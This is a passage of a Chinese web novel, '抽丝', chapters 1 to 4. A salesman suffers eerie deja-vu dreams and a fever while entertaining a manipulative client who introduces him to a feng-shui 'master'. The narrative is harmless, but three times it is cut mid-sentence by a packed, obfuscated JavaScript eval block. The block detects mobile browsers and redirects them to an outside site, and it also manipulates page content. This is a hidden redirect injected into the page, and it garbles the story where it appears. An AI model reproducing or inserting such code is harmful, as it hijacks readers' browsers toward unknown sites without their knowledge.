《抽丝》 1. 第 1 章 “妈,酱油买回来了啊,你说的那种没有了,我换了一种。”杜鸻拖着疲惫的身体进门,把酱油瓶“哐”地一下放在老旧的木质鞋柜上,单手撑着鞋柜换鞋。 他是个普通的销售,近几年行情不好,除了吃老本就是吃老本,开发新客户难上加难。提成锐减,他以前一个月轻松赚个两三万,现在每个月拿个五六千都够呛,最低的一个月,他只拿了三千块。 他刚毕业的第一份工作就是三千块,不多不少,但是挺让人挫败的。 他最近在考虑换工作的事儿,但是难。 今年行情实在是太差了,哪儿都在裁员,哪儿都有倒闭潮。 而且他三十四了。 还差一年三十五,这也就意味着他从这个公司滚蛋了之后不一定能找到什么好工作。 不。 是不一定能找到工作。 背上好像压了一座山,压得他喘不过气来。 “妈?” 吃力地换好鞋后,杜鸻才发现老妈一直没应他。 他把酱油拿去厨房。 厨房里没人,但是灶台上炖着汤,旁边的案板上放着切了一半的菜。 杜鸻放好酱油,狐疑地打量整个厨房。 又来了。 那种奇怪的感觉又来了。 杜鸻紧紧地闭着眼睛,试图把这种上帝视角的感觉赶出去。 没用。 他睁开眼看着厨房的陈设,明明每一处都是他熟悉的,但陌生感就是控制不住地从他的心底涌上来。 他不属于这。 不。 这是他的家,他属于这。 疯了。 杜鸻捂着脸,试图让自己冷静下来。 “妈,你买个酱油怎么这么久?可乐你买了没?” 阁楼上传来声音。 杜鸻从厨房出去,正好和从楼上下来的人对视了一眼。 他惊恐地瞪大眼睛。 楼梯上的那个人和他长得一模一样! 但是他是独生子,他没有双生弟弟或者哥哥! 从来没有! 楼梯上的人只是轻飘飘地看了他一眼,嘴巴一张一合地好像说了什么,但他完全懵了,根本没听见。 楼梯上的人转身走了。 “站住!”他拔腿飞快地追上去,刚到拐角的时候人没了。 他家是两房一厅,不大,因为是顶层所以还捞了个阁楼。 他从上高中开始就搬到了阁楼上住,安静不说,而且空间不算大,让他很有安全感。 门常年是关着的。 哪怕他只是简单地下个楼,只要超过三分钟,他就一定会把门锁上。 门现在确实是锁着的。 他刚才也确实看着那个和他长得一模一样的人转身上楼的。 门从外面锁着,楼梯一眼能望到头,而且一次就能通行一个人。 现在人没了。 人在他面前活生生地消失了! “哎哟,干嘛呢咚咚当当的?” 老妈的声音从后背响起。 杜鸻屏息回头,看见老妈站在楼下看他。 “干嘛呢?阁楼不想住了,想把楼拆了啊?” 杜鸻摇头。 “好不容易回来一趟也不安生。”老妈进厨房了,“不想睡了就过来择菜!这一天天的,你爸靠不住,你也靠不住。父子两个一模一样,一个比一个懒。” “来了。”杜鸻头一次觉得老妈念叨的话这么悦耳,还给了他一种实感。 刚才的事都是他的错觉,一定是他最近太累了。 他才进厨房,又是一愣。 灶上的汤不见了,几乎已经备好的菜还完完整整地在塑料袋里。原本放着肉片的案板干干净净地立在一边,刀也没被取下来。 怎么回事? 杜鸻心跳如雷。 又是假的? 不,不。 等一等。 杜鸻认真地品了一下自己现在的情绪。 没有恍惚更没有不真实感,好像现在看到的这一切才是对的。 这也就意味着他从进门到他老妈叫他之前的一切都是假的,都是他的错觉。 可这对吗? 这么长的一段时间里都是他的错觉? 他累成这样? 老妈又说:“站那想什么呢?过来啊。” 杜鸻看过去,再次恍惚。 这不对。 “杜鸻?吃饭了!” “杜鸻你醒醒!杜鸻!” “阿鸻!儿子!” “起床吃饭了儿子!” 画面尽数退去,杜鸻猛地睁开眼睛,又因为不太适应光线抬手挡了一下。 房间里很暗,只有一缕光从没有遮严实的窗帘缝里投进来,正好落在他的床上。 “杜鸻!你开门杜鸻!你听见妈妈说话了吗?” “杜鸻你别吓妈妈!” “听见了。”杜鸻喉咙干哑,嗓子又痒又疼,像被粗粝的磨砂纸磨过似的。 门外的老妈好像松了口气,也不拍门了,“没事就行,你吓死我了你。赶紧出来吃饭了,都几点了?” “知道了妈,马上就来。”杜鸻摸向床头柜拿了瓶水。 才喝了一口,他眉头就拧成一团。 平时清冽甘甜的水现在都变得跟刀子似的,一点一点地刮着他的喉咙肉,痛得不行。 缓了一会儿后他又笑起来。 疼就对了。 说明刚才的一切都只是梦。 既然是梦,那什么乱七八糟、没有逻辑的事情都能讲得通。 他下楼的时候脚一阵阵发软,心底发虚,背后全是冷汗。 楼下客厅传来阵阵饭香,又把他的馋虫勾起来了。现在他觉得前胸贴着后背,又饿又虚,别提多难受了。 “哎哟,你脸怎么这么红?”老妈赶紧过来扶,“怎么这么烫?快坐下快坐下。” 老妈翻箱倒柜找体温针,“赶紧测一下。” “嗯。”杜鸻把体温针夹在腋下,金属头把他冻了一下,他反而舒坦地松了点眉,“我爸呢?” 林桂女士盛了碗汤过来,“一大早就和他的棋友们下棋去了。你也知道,你爸退休之后每天必做的一件事就是去下棋,雷打不动。” 杜鸻笑了一下,“也是。那他今天中午也不回来吃了?” 林桂看了看时间,“不理他。还有两分钟,要是超过三十九度了就去医院。” “我走不动,想吐,吃点布洛芬也行。家里有布洛芬么?”杜鸻早就习惯了这种病了自己扛的日子。 他以前忙起来的时候没办法,能吃药扛着就吃药扛着,一颗不行就再加个物理降温,哪怕去医院吊点滴了都还得带着电脑。 麻烦。 所以他宁可自己熬着。 “有是有,但还是去医院检查一下的好。昨天回来的时候都还好端端的,怎么说起烧就起烧了?”林桂摸了一下杜鸻的额头,“烫成这样。体温针给我。” 杜鸻把体温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974440|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针递给老妈。 “三十九度二!”林桂惊叫起来,“赶紧赶紧,我送你上医院!我去收拾东西,你先吃两口,没点东西垫肚子一会儿不好打针。” 杜鸻头疼道:“就去看个病还要收拾什么啊?不吃了,不得抽血么?” “哎,是。”林桂从厨房里拿了个保温饭盒出来,“本来这给你爸留的,不管他了。走,上医院。” 杜鸻没力气跟老妈犟,只能忍着不舒服跟着老妈去了趟医院。 到医院后,杜鸻又被安排得明明白白。重新测体温、抽血验血、打点滴、领退烧药…… 林桂女士退休以前是医院护士,对这些流程无比熟悉。 等她忙完后,坐在旁边盯着杜鸻吃饭。 大概是换季闹的,医院的输液大厅里人满为患,好多家属都只能自己搬凳子来陪针。 大厅里太闹,味道也杂,杜鸻很快就没了胃口。 “喝点水。”林桂没强迫杜鸻把饭吃完,给他递了瓶水,“这次调休能休几天?” 杜鸻喝水润嗓,“两三天吧。” 林桂不满道:“怎么还有个区间呢?具体一点。” “两天吧。”杜鸻说,“算算我明天就要回去上班了。” 林桂嘟囔,“都快过年了还那么忙?去年不是提前放假了么,今年公司没动静?” 杜鸻闻言苦笑,“今年效益不好,估计提前不了了。谁都想在过年前多赚点钱。” “唉。”林桂惆怅道,“一天天的这么忙什么时候才能挤出时间谈恋爱?我在你这个年纪的时候你都十岁了。” “……”杜鸻头疼,不想说话。 他自身的条件其实不差。 不是他自夸,他长得算是蛮帅的,遗传了他爸妈的优点,将近一米九的个子在南方里已经算是很优秀了。早几年他是做程序的,后来转行做销售了,但毕业十来年他也没发福,因为他时间空下了就会去锻炼,保持身材是一个,其次就是保证健康。 从业这么多年,见过的事儿也够多了。 好几个同事是过劳死的,一点征兆没有,一开始是怕,后来就麻木了。 可他现在想想,麻木什么啊。 真要麻木了,他就不会有半夜惊醒的毛病,也不会因为自己莫名其妙睡得太沉而恐慌。 他也怕。 就有一个同事,刚结婚才两年,为了还房贷拼命加班,房贷没还完,反而把自己拼死了。 现在他们提到那个小嫂子都还忍不住唏嘘。 谈恋爱? 他算了吧。 什么时候把自己身上这些乱七八糟的事儿搞清楚了再说。 “又发呆,又发呆,每次说到这个你就走神,一句话都不说,跟你爸一个样。”林桂女士又忍不住埋怨。 杜鸻:“……” 杜鸻决定给老妈感受一下回旋镖,“妈,看你这样挺不满意我爸啊。所以你当初到底看上我爸什么了?” 旁边投过来几道视线。 林桂女士眼睛一闭,拍了杜鸻的胳膊一下,“死孩子,一天天地就知道调侃我。” 杜鸻的心情突然就好了。 下一秒,兜里的手机振动起来。 杜鸻总觉得不太妙,看见来电显示的时候叹了口气。 果然。 “喂,组长。” “杜鸻啊,在哪儿呢?阳总来了,你来一趟,接待一下。” 杜鸻:“……” 接待个球啊接待。 毁灭吧。 2. 第 2 章 阳总是他的老客户,也是他提成的大头来源,但是这个人很难搞,各种意义上的难搞。陪吃陪玩就算了,来几天得陪几天,其他事儿基本干不了。临到最后要签合同的时候还得玩一出杀价的戏码,非得把他们的利润压到最薄,再根据自己的心情给他们涨一点儿,最后只给了他们一个中规中矩的价格。 他也问过,这种价格卖谁不是卖,还非得搞这么一出。 组长是怎么跟他说来着的了? 说这个阳总的公司很大,跟国营的供应商是签了长协的,所以每个季度的需求都很稳定,有时候还能再加着多卖一点。抬不高价格是他的事儿,是他自己的能力就到那了,怪不了别人。 杜鸻每次都在心里骂爹骂娘的,但没用。 牛马就是牛马,没法往上爬就只能在底层干这些吃力不讨好的活。 其实提成给得多的情况下杜鸻也无所谓,反正只要能赚钱,骂就骂了,窝囊费也是钱,大不了年后换一个工作。 当然,前提是他真的能找到合适的下家。 “真要去啊?你这烧才刚退,你的调休都没结束呢,别去了。”林桂女士一脸担心。 杜俊朗先生知道儿子高烧上医院打点滴后就鸽了棋友回来了,听见妻子这么说,有点不赞同,“工作是工作,调休是调休,没调休完的下次接着调休不就行了?去,儿子,爸爸支持你的工作。” “你知道个屁!”林桂朝丈夫骂,“你以前在的单位和他现在在的那个单位能一样吗?一个国企一个私企,现在的私企什么德性你不清楚是不是?别说私企,我们三甲医院都这样,忙起来的时候哪儿还管你什么调休休完没休完,还想着留一半儿到下次?做梦吧!做梦你都梦不到这么好的事儿!” 杜俊朗:“唉你这人,我说一句你……” 杜鸻悄无声息地退出门去。 关上门的那一刻,整个世界都清净了。 他勾着钥匙下楼,刚到楼底,手机又响了。 “……组长。” “你人呢?你到哪儿了?阳总非得见你,说要是半个小时内再见不到你,这一季的合同就不签了!你可担不起这个责任啊,赶紧地回来!” 组长的声音比楼上爸妈争吵的声音更刺耳。 “加工资。”杜鸻冷不丁地说,“要么给我加三千底薪,要么我的提成再加两个点。” 组长的声音瞬间拔高,“你他妈穷疯了?!” 他们公司这些奔走在一线的销售谁不是穷疯了?! 没穷疯了还能继续在这儿干啊?! 杜鸻在心里大吼。 他气得气血翻涌,心口一阵阵地发虚,呼吸急促,脑袋都跟着发昏。他跑到一边,扶着树干干呕了几声,“加不加?” “不加就不去了。” 杜鸻说得有气无力。 他实在是没力气吵了。 这也是他毕业后第一次跟自己的上级吵得这么凶。他平时脾气挺好的,用别人的话来说就是“怂包”,主要是他懒得吵,左右他的钱也没少赚,拿的都是该拿的,有什么好吵的? 吵架伤身体。 但现在他觉得他不吼那么两声就真的要被气死了。 他还不想死。 他还没搞明白自己身上的情况到底是怎么回事儿呢。 “行,行,真有你的啊杜鸻。认识你这么久第一次见你这么硬气。来,你先来,涨薪的事儿我立马打报告给经理,行吧?” “我录音了,你别想糊弄我。”杜鸻勉强站起来,顺了顺气,把电话挂了。 他没录音,他都难受成这样了录个屁的音。 他吓唬组长呢。 反正不管怎么的,话说出去了就是说出去了,好好地等着结果就行。 小区外就是大马路。他伸手拦车的时候突然回头看了眼。 身后没人,那种莫名其妙的被盯着的感觉也没了,短暂到就像他的错觉。 出租车已经停在了跟前。 “走不走?”司机师傅问。 “走。”杜鸻利落地上了车,报了公司的地址。 他到公司的时候,大腹便便的阳总就背着手在他们公司里来回转悠,惬意得根本不像为难过人。 他的小徒弟一见他就赶紧冲过来,“师父你总算来了!这阳总在公司里溜溜达达好几个小时了,虽然什么话都不说,但是大家都没法干活了。” “会客室有人了?” “没人。不是,师父,是这阳总自己不乐意去,说是咱们会客室的装潢不行,太老土,不符合他的身份,不愿意待啊。” “……” 这还真是这个阳总的风格。 杜鸻觉得自己又有了起烧的预兆,被气的,气得急火攻心,他能不起烧么? 小徒弟好像发现了什么,“师父,你生病了啊?” 杜鸻平静道:“嗯。发烧了,高烧,三十九度二。” 小徒弟倒吸一口气,“这么高!” 杜鸻平静得有点疯,“嗯,这么高我都还活着呢。你说一会儿我突然晕在组长和阳总面前能吓死他们么?” 小徒弟一脸古怪地看他。 杜鸻觉得好笑,“干嘛?” 小徒弟:“师父,你突然疯得有点吓人。” 他笑了一下,“你这不还没被吓死么?” 小徒弟:“……” 杜鸻觉得有点爽。 他的小徒弟平时其实挺听话的,没怎么惹他。但他今天生着病,也确实懒得应付了,有一怼一挺好。 爱死不死吧。 “阳总。”杜鸻主动伸手,“抱歉啊阳总,今天突然高烧,刚打完针就来了。怠慢了不好意思啊,您宰相肚里能撑船,多见谅。” 说完,他的视线还在阳总的肚子上转了一圈。 周围的同事都在低笑。 阳总扫了眼那些人,心底哼笑,面上却不显山露水,“哟,你看我,说什么见谅不见谅的,是我没打一声招呼就来了,都不知道你病了。带病上班,敬业啊。马组长,你这组里有杜鸻这样敬业的人才可得好好珍惜啊。我就喜欢跟杜鸻这样的打交道,没了他可不行,你们啊也得多学学。那现在怎么样?退烧了?” 最后一句话是对杜鸻说的。 杜鸻被高高架起也不觉得意外。 要不说这个阳总难搞呢? 外表上看就是个憨憨,实际上轻飘飘的几句话就能给人把高帽子摁稳了。 无所谓。 “退了,”杜鸻看都不看组长和组员一眼,也不理刚才阳总把他架起来的话,“我陪您看看货去?还是您先喝点茶,休息休息,我陪您聊一聊?” 阳总下巴一抬,“货先不看,不急,过两天再谈也一样。你先陪我去个地方。” 又来了。 杜鸻在心底问候阳总祖宗,脸上却挂着笑,“好啊。” 阳总没带助理也没带司机,这就意味着要让杜鸻开车。 杜鸻人都坐在驾驶座上了,却没着急系安全带,“阳总,我这烧刚退,药起作用了,现在还没犯困,一会儿就说不准了。我是没事儿,能撑住,就是不知道阳总是不是真的敢坐我开的车?” 阳总在后座,抱着手臂,搭在大肚子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜鸻停下脚,不肯再往里走了。他讨好道:“阳总,这次就饶了我吧,我这才刚退烧呢,洗不了桑拿。要不陪您打两把高尔夫?福利这东西总得让我有命享不是?” 阳总眯了下眼睛,脸色有点阴沉,但很快又笑开来,“行行行,是我这个做哥哥的没考虑到。行吧,今天带你来玩的,想体验什么项目就体验什么项目。走吧。” 杜鸻被领着去了高尔夫馆。 礼仪小姐出来引导,“阳总,这位……” 阳总:“杜总。” 杜鸻心头一跳,“别,我不是什么总。阳总我颈椎不好,可别再给我戴高帽了。” 阳总笑而不语。 礼仪小姐从善如流,“阳总,杜先生,衣服已经给两位准备好了,请跟我来。” 更衣室都是单间的。 杜鸻和阳总被领去了两个不同的单间。 关门前,杜鸻从门缝里看到了一个没见过的人。 那个人穿着一身板正的西装,咯吱窝下面夹了一个黑色的手包。 杜鸻恍惚了一下,呼吸都变慢了。 他抬头看了下四周,心底涌上了诡异的熟悉感。 他好像……刚刚梦到过这个场景。 那接下来会发生什么呢? 杜鸻觉得心慌,但怎么也想不起自己具体梦到过什么。 他头疼欲裂,发烧的后遗症让他很不舒服。 “杜先生,您换好了吗?阳总已经在等了。” 服务员出声打断了他。 3. 第 3 章 高尔夫球场里多了个人——那个穿西装、夹公文包的男人。 阳总很热情,“来,小杜,给你介绍一下,这是云大师。” 云大师一脸的高深莫测,看见杜鸻的时候还饶有兴趣地上下打量。 杜鸻被云大师的这个眼神看得很不舒服,但他好歹是在销售一线常年跑的,知道什么场合做什么事。他笑着伸手,“云大师您好,鄙人姓杜,您叫我小杜就好。” “小杜。”云大师嚼了嚼这两个字,没和杜鸻握手。 杜鸻嘴角提了提,收回手。 “云大师,您可别看这小杜年轻,他可是我这几年在生意场上的得力助手啊。”阳总拍着自己的大肚皮说,“今天咱们聚在一块就是互相脸熟一下,以后都是一起做事的人。我少不了他,更少不了您啊云大师。” 杜鸻也在打量这个云大师。 云大师戴着一副无框眼镜,看起来斯斯文文的,就是身上的这身西装看起来和“大师”这个身份不符。而且看这个云大师的样子,估计年纪最多二十七八,绝对不超过三十。 他倒不是觉得年轻人里无大师,但这个年头坑蒙拐骗的人也不少,多一个心眼不是什么坏事。 云大师:“好。” “那我找人先带您到处看看?这个地方当初就是按着您说的布置的。现在还得请您看看布置得对不对,有没有什么地方落成了之后需要调整的,您尽管提,钱不是问题。”阳总笑眯眯的,“只要……嗯?您知道的。” 高深莫测的云大师终于笑了一下,“我清楚,放心吧阳总。我办事就没有不成的。” 阳总哈哈大笑了几声,招来了一个经理,“带云大师逛逛,仔仔细细的,别怠慢了啊。” 经理点头,“云大师,请吧。” 杜鸻收回打量的视线。他对这个云大师没什么好感也没什么兴趣,他现在就想赶紧回家睡觉,把他这该死的调休休完。 “小杜,是吧?” 云大师突然喊住杜鸻。 杜鸻转身,“云大师。” 云大师:“你是不是平时多梦,醒了之后容易失眠,再也睡不着了?” 阳总惊讶道:“小杜你年纪轻轻的还有这个毛病呢?” 杜鸻朝着阳总抬了抬嘴角,又看向云大师,“大师还真是神机妙算。” “倒也用不上算什么,你的黑眼圈都在脸上摆着呢。”云大师从他的手夹包里掏出一包东西,“这是安神的,不是什么贵重的东西,试试,保证你一觉睡到大天亮。你还年轻,现在不养身,以后就难了。” 杜鸻看着那个香包,眼角微微抽搐。 这个云大师还真的是一点弯都不拐。 他心里不舒服,但这里毕竟是别人的地盘,他只能忍了。 “多谢。”他接过云大师的香包。 香包不大但是沉甸甸的,也不知道里面到底装了多少朱砂。 用朱砂来坑蒙拐骗也是这些所谓的风水师的管用把戏。 云大师点头,“对了,你还没结婚吧?也没有女朋友?” “……”杜鸻问道,“大师还管姻缘?” 云大师“哦”了一声,“没有,只是觉得你确实该好好养养身体。” 杜鸻:“……” 神经病。 云大师终于走了。 阳总说:“这云大师看着年轻吧?你肯定想不到,他跟我一个年纪的。这有水平的大师啊,难得。他不讲钱只看缘,缘分到了那才有钱的事儿呢。我看他跟你就很有缘,刚才说的一个没错吧?” “是没错。”杜鸻笑笑,随手把那个香包塞进口袋里。 有眼睛就能看出来的问题能错到哪里去。 阳总点头,“他主要是帮人看风水,但也能帮看命,以后你就知道了。以后有机会多接触,不是坏事儿。行了,选杆儿吧,跟老哥我赛两把。完了再带你看看别的。我这会所啊,什么都有。平时没机会来会所吧?这就玩个够。” 杜鸻已经不愿再赔笑,简单地说了个“好”字就不再开口。 这个阳总扎扎实实地带他体验了一把会所的服务。服务好是好,但他拖着这个才退烧的身体陪了阳总唠了半天,也真的是累得够呛。 他没回爸妈家,而是回了他租在公司附近的房子。 一回到熟悉的地方,身体立马放松了,疲惫感涌上来,他连衣服都懒得换,倒床就睡。 他一觉睡到了第二天出太阳的时候。 他的卧室采光很好,只要他忘记关窗帘,第二天一出太阳准能把他亮醒。 但他现在明显被晒了有一会儿了,被子发热,他也出汗了。 昨晚没做梦? 他仔细想了一下,确实没有做梦的印象。 他是那种常年做梦的人,都形成习惯了,一旦哪天没做梦,他一定会知道。 昨晚不仅没做梦,他今天还感觉神清气爽,仿佛昨天发高烧是他的错觉一样。 但是怎么可能? 因为他不信任那个云大师,昨天换衣服的时候他还特地把那个香包留在了更衣室里,根本没带。回来前他也特意摸了一下自己的口袋,也没有那个香包。 不是香包的作用,那是什么?他回阳啊? 呸呸呸。 大早上的说什么晦气话。 杜鸻下床洗漱。 “噗”的一声闷响,有东西从他身上掉下来。 他低头一看,吓得瞬间站直了。 昨天明明没有带回来的香包现在就躺在他的脚边。 怎么可能? 他又在做梦? 杜鸻给了自己一巴掌,疼得他眼泪都出来了。 不是假的。 他捡起香包,香包在手里沉甸甸的,也不像是假的。 但是怎么可能? 他明明记得把香包留在会所了,没有带回来。 他很确定,没、带。 他把香包丢在书桌上,走了又折返回来给这香包拍了张照片。他就不信了,有照片作证,他还能遇到这种怪事? 今天得上班。 他刚到公司,小徒弟就凑过来,“师父你回来啦!身体好多了吗?不发烧了吧?” “嗯,好多了。”他回到工位,看见蓝壳的文件夹在他桌上一字排开摆了三个,跟上供似的,顺手拢上了,“我调休之前让你跟的那个怎么样了?” 小徒弟愁眉苦脸地说:“不怎么样,那王老板油盐不进,一拖再拖。” “没问他需求?” “问了啊,问了就说‘年后再说’。” “行。今天你去胡总公司一趟,不快过年了么,就说是送年货的,看看他们公司的实际情况,能去看厂子更好。” “可我们公司给客户送的年货还没到货呢……”小徒弟别别扭扭的,“而且就我一个人去啊?” 杜鸻点了点桌上的三个文件夹,看他,“不然?” 小徒弟没话说了。 杜鸻:“年货的钱从业务费里走,自己找个好报的名目,还用我教你?” “不用不用,这我知道。那我去了啊师父。”小徒弟背上包走了。 同组的严潘说:“知道带徒弟的不容易了吧?你这小徒弟听话是听话,就是举一反三的能力有点儿差。有时候你还是得让他自己多思考,天天靠你什么时候才能出师啊?你得累死。” “把最后那个‘死’字给我撤回。”杜鸻面无表情地说。 严潘:“干嘛,顺口嘛,平时不都这么说?” 杜鸻翻着文件夹,不理他。 严潘滑着椅子过来,“不是,这两天不是调休了么,还没睡好?我看你这精神头比两天前好多了。昨天那个阳总是不是带你上哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974442|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潇洒去了?” “你觉得他能带我去哪潇洒?”杜鸻晃了晃手里的文件,“昨天突然发烧了,又陪那阳总逛了一天,能不睡好么?” 严潘赶紧捂住嘴,“你还发烧了啊?靠,你不早说?” “……好了,验血了没病毒,没细菌的,你怕什么?”杜鸻无语。 严潘摆摆手,回去了。 杜鸻已经处理完了前两份文件。 其实不是什么大事,就是对一些数据,对完了不妨碍给他发提成。那两个项目都是几个月前的事儿了,好在他脑子还算好使,转眼的功夫就能把数据对完。 最后一个文件里的是一份项目总结。 总结是他写的,上面有新的批注,意思是让他对着重新再改一版。 熟悉的总结,熟悉的批注,但结果是不熟悉的结果。 “严潘,这个项目已经开过总结会了对吧?”杜鸻拿着文件去问。 项目是他们组的项目,虽然具体到人,但是每个项目总结会整个组的人都要参加,就算项目不是自己的,什么项目已经结了,大家都是清楚的。 严潘把文件拿过去,“没有吧,你总结都没改完开什么的总结会?哪儿开了。老马不是给你打回来了么?” “没开吗?”杜鸻皱眉,“不可能吧,我记得开过了,就在二号会议室开的,PPT还是你帮我过过的。” 严潘一脸的“你在开玩笑吗”,“你是不是烧没退啊?哪儿开过啊。没过年呢就想放假了?” 严潘拉了另一个组员来问,“这个项目的总结会我们开过了?” 组员看了眼,“没啊。款不是才刚回的么,就前两天。” “……几号?”杜鸻被他们说得都不自信了。 组员想了想,“就你刚调休那天吧,没聊天记录?” 杜鸻:“……” 他调休有个鬼的聊天记录。 严潘拍了拍杜鸻的脑袋,“可怜的小杜啊,都被梦境霍霍成这样了。不过哥们懂你,我有时候也会觉得某些场景很熟悉,就跟真的经历过似的。反正网上都说是啥,哦,睡觉的时候我们的灵魂是不睡觉的,灵魂会自己跑出去玩,就相当于做梦吧,反正就是一种蛮神奇的现象的。” 杜鸻反驳,“我没做过这个梦。” 严潘:“做梦这种事谁说得准,有好多人睡醒了都不记得自己做了什么梦,不挺正常的吗?就是没想到你这牛马魂燃烧熊熊啊,做梦都在工作。” “……滚蛋。”杜鸻一把夺过自己的文件夹回到工位。他狐疑地打开电脑,找到这篇总结的电子档,看了眼最后编辑的时间。 是他调休的前一天。 这项目总结会还真没开过? 那他怎么会觉得…… 手机“嗡”地振了一下。 是阳总的消息。 【阳总:小杜啊,睡醒没有?睡得好吧?那香包有用吧?】 杜鸻差点忘了那个香包。 【杜鸻:醒了,阳总。我昨天走的时候好像忘了拿那香包了,得麻烦阳总帮我问问。】 【阳总:是啊,你忘了,服务员恰好捡到了问我是不是我的东西,我一看这不是你的么?就塞你兜儿里了,你没看见?】 【杜鸻:还真没注意。多谢阳总了,我回头看看。】 阳总把香囊塞他兜里了?什么时候? 他上车前兜里还没有,他坐的又是副驾驶,下车后就直接回去了,阳总连车都没下。 什么时候塞的? 他正琢磨呢,阳总又发来了一条消息。 【阳总:客气什么。我今晚有个饭局,你晚上陪我去一趟。这饭局重要啊,来的都是大老板。这下别说哥不带你了啊。】 杜鸻:“……” 可别带他了,真的。 【杜鸻:好的阳总,多谢多谢。】 4. 第 4 章 一直到春节假前两天,阳总才愿意把合同签了。 杜鸻看着新鲜出炉的合同,松了口气。反正这批货得年后才要,他们公司厂子的存货不足也不耽误。 阳总从公司走的时候,一脸神秘地拍了拍他的肩膀,“怎么样,哥这次没坑你吧?还帮你把价格往上抬了一点,所以之前跟你说的事儿你是不是得好好考虑考虑?” 杜鸻知道阳总还没忘了那个会所的事,但他确实懒得蹚浑水。有些浑水蹚了也就是烫红一层皮而已,可有些浑水蹚了,那得烂肉的。 他还想多活几年。 “不瞒你说阳总,近两年我这身体是越来越不行了,估计就是年后吧,我的活儿得匀一部分出去给别人接着,没办法真的。精力确实不行了。”杜鸻跟阳总拉开距离,“再说,隔行如隔山,我一个做原料的,不是这个领域的事儿我哪管得了呢,是不是?真没路子。” 阳总的眼神顿时变了,看起来有点阴狠,很快他又笑了,“你这话说的,你还年轻呢,说什么丧气话。再说了,我能坑你吗?知道你得养身体,也不为难你,其他的路子我肯定自己想办法,但你本来就能做的生意可不好推啊。哪儿有人把上门的生意往外推的是不是?” “说不上往外推,只要您还愿意跟我们合作,哪儿来的往外推是不是?”杜鸻也笑,“不是我自夸啊,品质我们不敢保证肯定是第一,但绝对是行业里排前三的了。就这品质,这性价比,估摸着行业里找不出第二家了吧?这也是替您省成本。” 阳总被自己当初说过的话一噎,但也压住了脾气,“是。行了,不用送了。” 电梯正好到了。 杜鸻也没有把人送下去的打算,反正他合同都到手了,正好摆脱这个瘟神。 下个季度再见吧。 “阳总慢走。” 电梯门关上前,阳总朝杜鸻竖起拇指,笑容显得意味深长。 杜鸻拧眉,那种不好的感觉又来了。 他赶紧折回公司,把刚签好的合同重新拿出来过了一遍。 条款没问题,是按着之前的签的。 金额和数量都有增加,不过这和之前阳总给他报的需求一致,没什么问题。 至于开票…… 他们现在只是到了签合同那一步,合同上规定的打款时间在年后,交货时间在打款时间后两天。总之都不是现在能操心得上的。 杜鸻把合同交到法务部归档。 “合同都签完了还这么愁眉苦脸的干嘛?”严潘神情轻松地坐在工位上打游戏。 严潘的业绩在组里靠后,因为一直没有什么新客户,现在已经摆烂了。反正只要公司还能给他发工资,他就还能在这儿继续窝囊着。 杜鸻关上电脑,他决定今天早点走,“没有。说不清。” 严潘抬头,“又是那乱七八糟的感觉是吧?我看你就是平时给自己的压力太大了,又还带那么个不争气的。” 小徒弟闻言回头看了严潘一眼,“严哥,我很努力了。” 严潘:“是是是。” 杜鸻:“你少拿我徒弟开涮。明年你自己带个徒弟试试。” 严潘:“我才不带,我自己都吃不饱。哎,一会儿就走?我带你玩去啊。” 他们组里的关系还算融洽,虽然每次拼业务的时候也能吵得面红耳赤,怒目相对的,但是项目之外也是能一块小聚的。 杜鸻这几天精神头其实不错。 虽然他很不愿意承认,但是那个云大师给他的那个香包确实有点作用。他闻过那个香包,有淡淡的草木香,他对这方面没有研究,不知道里面的草木香到底来自什么,但他能确定的是里面有朱砂。 那手感他一摸就知道,不仅如此,他还在香包外面摸到过一点红色,刚好那几天空气湿度高,估计朱砂沾了水汽有点化了。 “去哪?” “一个好玩的地方,绝对能让你放松。真的,信我。” 小徒弟举手,“严哥,我也想去。” 严潘:“去呗,人多更热闹。还有没有人要去的?” 其他人都摇头。 他们不是手头上的活儿没做完就是晚上有事儿或者是懒得出门的。 他们三人站在小小的酒吧门口的时候,杜鸻沉默了。 他真是信了严潘的邪。 严潘是他们组里最会玩的那个,属于精力十足、蹦迪蹦到凌晨五点还能按时去公司打卡的人。 他早该想到的。 “干嘛,都没去过酒吧啊?”严潘一边手揽一个,“放心,都说了来放松的,那这地方必然不是那种嗡嗡嗡,震得心脏发麻的那种。就是个小酒馆,看见那行字没有?‘世外酒馆’,就是这个‘酒’字大了点儿。不过一目了然么。” 杜鸻看着就只有一个“酒”字的门头。 这何止是大了点儿。 “走走走。” 小酒馆进门的走道狭长,还是个考验身材的道儿。完了之后还得下一截儿声音小不了一点儿的铁皮楼梯。 这楼一下,想要再低调都不行。 不过下面除了调酒师之外,几乎没有人回头。 酒馆里的音乐还挺悠扬。 “怎么样,这地方不错吧?不吵不闹,而且不管在这儿聊什么都无人在意。没人会看你。”严潘没收着声音,但也确实没人看他们。 小徒弟有点兴奋,“真的哎!严哥,你是怎么发现这地方的啊?这地方太绝了。” 